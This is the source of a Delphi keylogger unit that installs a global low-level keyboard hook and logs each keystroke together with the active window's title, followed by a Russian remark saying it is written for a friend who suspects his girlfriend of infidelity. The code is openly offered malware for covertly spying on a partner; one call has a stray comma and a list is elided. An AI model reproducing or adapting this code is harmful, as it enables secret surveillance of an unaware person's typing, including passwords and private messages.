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unit KHook;
interface
uses Windows, SysUtils, Messages;
const
WH_KEYBOARD_LL = 13;
LLKHF_UP = $0080;
type
TKbdHookEvent=procedure (S:WideString);
type
PKbdDllHookStruct = ^TKbdDllHookStruct;
TKbdDllHookStruct = record
vkCode: DWORD;
scanCode: DWORD;
flags: DWORD;
time: DWORD;
dwExtraInfo: PDWORD;
end;
KBDLLHOOKSTRUCT = TKbdDllHookStruct;
implementation
var
KbdProc:TKbdHookEvent=nil;
Hook:HHOOk;
WinTitle:WideString='';
function lpfn(nCode,wParam,lParam:Integer):Integer; stdcall;
var
KeyName:WideString;
CurrWinTitle:WideString;
KeyState : TKeyboardState;
hklLayout:HKL;
FW:HWND;
begin
try
if (nCode = HC_ACTION) and ((wParam = WM_KEYDOWN) or (wParam=WM_SYSKEYDOWN)) then
begin
FW:=GetForegroundWindow;
hklLayout:=GetKeyboardLayout(GetWindowThreadProcessId(FW, nil));
GetKeyboardState(KeyState);
SetLength(CurrWinTitle, 1000);
SetLength(CurrWinTitle, GetWindowTextW(FW, @CurrWinTitle[1], 1000));
with PKbdDllHookStruct(LParam)^ do
case vkCode of
VK_BACK: KeyName := '[BackSpace]';
VK_TAB: KeyName := '[Tab]';
VK_CAPITAL: KeyName := '[CapsLock]';
VK_RETURN: KeyName := '[Enter]';
VK_ESCAPE: KeyName := '[Esc]';
VK_CANCEL: KeyName := '[Cancel]';
VK_F1: KeyName := '[F1]';
{...}
VK_HELP: KeyName := '[Help]';
else
SetLength(KeyName,1);
KeyState[VK_SHIFT]:=GetKeyState(VK_SHIFT);
KeyState[VK_CAPITAL]:=GetKeyState(VK_CAPITAL);
if ToUnicodeEx(vkCode, MapVirtualKeyW(vkCode, 0,), @KeyState, @KeyName[1], SizeOf(WideChar), 0, hklLayout) <> 1 then
KeyName:='?!ERROR'; // не корысти ради, токмо для отладки.
end;
if KeyName='' then KeyName:=IntToStr(PKbdDllHookStruct(LParam)^.vkCode);
if WinTitle='' then
begin
WinTitle:=CurrWinTitle;
KeyName:=CurrWinTitle+' {'#13#10+KeyName;
end
else if WinTitle <> CurrWinTitle then
begin
WinTitle:=CurrWinTitle;
KeyName:='}'#13#10+CurrWinTitle+' {'#13#10+KeyName;
end;
KbdProc(KeyName);
end;
finally
Result := CallNextHookEx(Hook,nCode,wParam,lParam);
end;
end;
function SetHook(lpCallBack:TKbdHookEvent):Boolean;
begin
if Assigned(lpCallBack) then
KbdProc:=lpCallBack;
Hook:=SetWindowsHookExW(WH_KEYBOARD_LL, lpfn, HInstance,0);
Result:=(Hook <> INVALID_HANDLE_VALUE);
end;
function RemoveHook:Boolean;
begin
Result:=UnHookWindowsHookEx(Hook);
end;
exports SetHook,
RemoveHook;
end.
Клавиатурный сексот на Delphi.
Никогда такой хуйнёй не страдал, пишу для друга, который подозревает свою деву в изменах.
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